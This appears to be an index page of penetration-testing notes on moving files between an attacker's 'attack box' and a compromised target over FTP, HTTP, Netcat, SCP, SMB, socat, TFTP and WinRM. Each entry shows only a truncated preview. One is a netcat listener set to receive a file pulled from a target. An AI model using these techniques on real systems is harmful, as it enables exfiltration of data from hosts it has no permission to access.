File Transfer Techniques
FTP
Attack Box Running FTP Server sudo apt install -y python3-pyftpdlib # Show help message sudo p...
HTTP
HTTP POST (Upload to Attack Box) Server Side (Attack Box) Python Server Python HTTP Upload Serve...
Netcat
Listener on Attack Box File from Target to Attack Box nc -lnvp 53 -q 3 > /tmp/got-the-file Sta...
SCP
SCP Syntax Review The most fundamental syntax for using scp is this: # Password Authentication ...
SMB
SMB Server on Attack Box For this, we can use Impacket's smbserver.py script to run an ad-hoc SM...
SOCAT
Listener on Attack Box # Start a listener on the attack box and create a file when received soc...
TFTP
If the target has a TFTP client installed, Metasploit has a TFTP server you can run ad-hoc on you...
WinRM (PowerShell Remoting)
WinRM runs on TCP port 5985 for unencrypted sessions and 5986 for encrypted sessions. # Open a P...